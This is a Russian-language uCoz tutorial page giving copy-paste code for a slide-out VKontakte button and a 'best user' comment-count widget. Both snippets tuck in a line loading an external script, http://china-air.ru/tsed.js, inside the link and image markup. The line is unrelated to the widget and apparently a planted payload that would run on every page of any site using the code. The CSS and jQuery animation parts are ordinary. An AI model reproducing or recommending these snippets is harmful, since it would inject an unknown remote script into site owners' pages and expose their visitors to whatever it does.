Выдвижная кнопка ВКонтакте для uCoz
Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz
Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа. Установка 1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код: Code #vkontakte_button img { position: fixed; top:125px; right: -76px; z-index: 99999; cursor: pointer; display: block; } 2.) Следующий код вставляем в любое место на странице между head и /head: Code <script type="text/javascript"> $(function($) { $("#vkontakte_button img").hover( function () { $(this).animate({right: '0'}, {queue:false, duration: 350}); //$(this).css('right', '0'); }, function () { $(this).animate({right: '-76px'}, {queue:false, duration: 350}); // $(this).css('right', '-76px'); } ); }); </script> <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;"> <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> </a> Настройка скрипта Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк.. Вот и все, установка и настройка завершена. Лучший пользователь сайта для ucoz
Описание:
Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога. Установка - заходим в админ панель сайта => Инструменты => Информеры => создать информер - Раздел: ( пользователи ) - Способ сортировки: ( количество комментарий ) - Количество материалов: ( 1 ) - Количество колонок: ( 1 ) теперь открываем информер и копируем туда следующий код: Code <div class="comment_info transparency_i"> <div class="comment_v"> <a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?><img class="avatar_img" src="$AVATAR_URL$" /><?else?><img class="avatar_img" src="http://bambun.ru/images/no_avat_ar.jpg" alt="no" /><?endif?> </a> $USERNAME$ </div> <div class="comment_n"> <img src="http://bambun.ru/images/ico_coment.gif" alt="иконка комментария"> $COM_POSTS$ </div> </div> и css стили Code .comment_info { text-align:center; font:9px Verdana,Arial,Helvetica, sans-serif; color:#85898f; width:100px; border:1px solid #d2d2d4; background: #e4e5e7; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; } .avatar_img { width:65px; height:65px; background: #fff; border:1px solid #d2d2d4; padding: 4px; margin-bottom: 3px; } .comment_v { border-bottom: 1px solid #d2d2d4; padding: 10px 0px 4px 0px; } .comment_n { border-top: 1px solid #fff; padding: 5px 0px 5px 0px; } .transparency_i a:hover img { filter: progid: DXImageTransform.Microsoft.Alpha(opacity=70); -moz-opacity: 0.7; opacity: 0.7; filter: alpha(opacity=70); } |